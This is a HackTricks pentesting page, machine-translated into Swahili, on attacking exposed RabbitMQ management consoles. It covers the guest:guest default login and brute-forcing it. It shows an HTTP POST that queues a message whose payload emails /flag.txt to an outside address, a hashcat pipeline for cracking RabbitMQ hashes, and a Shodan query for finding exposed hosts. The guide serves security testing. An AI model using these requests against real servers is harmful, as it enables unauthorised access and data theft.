15672 - Pentesting RabbitMQ Management

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Unaweza kujifunza zaidi kuhusu RabbitMQ katika 5671,5672 - Pentesting AMQP.
Katika bandari hii unaweza kupata konso ya wavuti ya Usimamizi wa RabbitMQ ikiwa plugin ya usimamizi imewezeshwa.
Ukubwa wa ukurasa mkuu unapaswa kuonekana kama hii:

Enumeration

Maalum ya default ni "guest":"guest". Ikiwa hazifanyi kazi unaweza kujaribu brute-force the login.

Ili kuanzisha moduli hii kwa mikono unahitaji kutekeleza:

rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart

Mara tu umepata uthibitisho sahihi utaona konsoli ya admin:

Pia, ikiwa una taarifa halali unaweza kupata habari ya kuvutia kwenye http://localhost:15672/api/connections

Kumbuka pia kwamba inawezekana kuchapisha data ndani ya foleni kwa kutumia API ya huduma hii kwa ombi kama:

bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}

Kuvunja Hash

bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist

Shodan

  • port:15672 http

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks